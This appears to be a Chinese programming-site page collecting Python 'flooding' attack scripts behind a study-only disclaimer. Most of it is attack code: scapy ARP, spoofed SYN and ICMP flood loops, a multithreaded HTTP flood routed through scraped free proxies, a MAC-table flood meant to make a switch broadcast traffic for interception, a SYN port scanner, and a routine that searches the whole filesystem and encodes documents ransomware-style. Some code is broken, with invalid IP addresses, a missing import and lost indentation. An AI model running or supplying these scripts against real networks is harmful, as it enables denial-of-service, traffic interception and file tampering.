程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

泛洪類python腳本

編輯:Python

僅供學習參考,不要在真實環境使用

from scapy.layers.inet import IP, TCP,ICMP
from scapy.sendrecv import sr1,send
from scapy.layers.l2 import ARP,Ether
import random,os,logging,base64,requests,threading
from urllib import request
from bs4 import BeautifulSoup
from scapy.volatile import RandMAC

1.arp

def arp():
ip=input('請輸入ip:')
while True:
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
pkg=ARP(psrc=ip,pdst=ip)
send(pkg,verbose=False)

2.tcp

def tcp():
ip = input('請輸入ip:')
while True:
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
sport = random.randint(10000, 30000)
pkg = IP(src=ip,dst=ip) / TCP(sport=sport, dport=80, flags='S')
send(pkg, verbose=False)

3.icmp

def icmp():
ip = input('請輸入ip:')
while True:
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
payload = 'erwrqr' * 100
pkg = IP(src='192.168.123.456', dst=ip) / ICMP() / payload * 200
send(pkg, verbose=False)

4.簡單的代理cc泛洪(看的b站上的,up賬號已注銷)

proxies=[]
# 爬取代理服務器的ip和端口
def get_proxies():
proxies_url = 'https://free.kuaidaili.com/free/inha/'
#相當與
temp=requests.get(proxies_url)
response=temp.text
# python標准解析,將文檔暫存到內存
soup=BeautifulSoup(response,'html.parser')
#找到所有tr標簽
trs=soup.find_all('tr')
for tr in trs:
if tr.td is None:
continue
data=tr.find_all('td')
# [<td data-title="IP">202.55.5.209</td>獲取的是值
ip =data[0].text
port=data[1].text
method=data[3].text
if method =='HTTP':
proxies.append(ip+':'+port)
 用代理服務器發請求
def cc_attack():
target_url = 'http://192.168.28.17.42:80'
try:
proxy=random.choice(proxies)
# 調用代理
proxy_handler = request.ProxyHandler({'http':proxy})
# 相當於打開urlopen
opener = request.build_opener(proxy_handler)
# install_opener(opener) 安裝opener作為urlopen()使用的全局URL opener,意味著以後調用urlopen()時都會使用安裝的opener對象
request.install_opener(opener)
for i in range(100):
request.urlopen(target_url)
except Exception as e:
print(e)
return
# 多線程代理泛紅
def do_attack(thread_number=64):
for _ in range(thread_number):
threading.Thread(target=cc_attack).start()

5.mac 泛洪

主要針對交換機,目的是將表塞滿,造成交換機廣播數據,從而截取

def macfh():
while True:
try:
rand_mac=RandMAC("*:*:*:*:*")
src=f'192.168.17.{random.randint(1,254)}'
dst=f'192.168.17.{random.randint(1,254)}'
src_mac,dst_mac=rand_mac,rand_mac
pkg=Ether(src=src_mac,dst=dst_mac)/IP(src=src,dst=dst)
sendp(pkg,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0,verbose=False)
except:
pass

6.端口掃描

def duankou(ip):
for port in range(10, 100):
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
pkg = IP(src='192.168.112.123', dst=ip) / TCP(dport=port, flags='S')
reply = sr1(pkg, timeout=1, verbose=False)
if reply[TCP].flags == 0x12:
print(f'端口 {port} 開放')
except:
pass

       

7.簡單位移ascc碼進行加密

# 加密的代碼,需要上傳到liux運行,會將所有word加密
def jiami():
filepwd = os.popen('find / -name "*.word"').read().strip().split('\n')
# 加密
for i in filepwd:
with open(i, 'rb') as f:
data = f.read()
resp = base64.b64encode(data).decode()
r = ''
for j in resp:
b = (ord(j) + 5)
r += chr(b)
f = i.split('.')[0]
print(f)
# os.remove(i)
with open(f'{f}.jm', 'wb') as fl:
fl.write(r.encode())
#解密的代碼
def jiemi():
filepwd = os.popen('find / -name "*jm"').read().strip().split('\n')
print(filepwd)
for i in filepwd:
with open(i, 'rb') as f:
data = f.read().decode()
r = ''
for d in data:
b = (ord(d) - 5)
r += chr(b)
s = base64.b64decode(r)
f = i.split('.')[0]
print(f)
os.remove(i)
with open(f'{f}.word', 'wb') as fl:
fl.write(s)

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved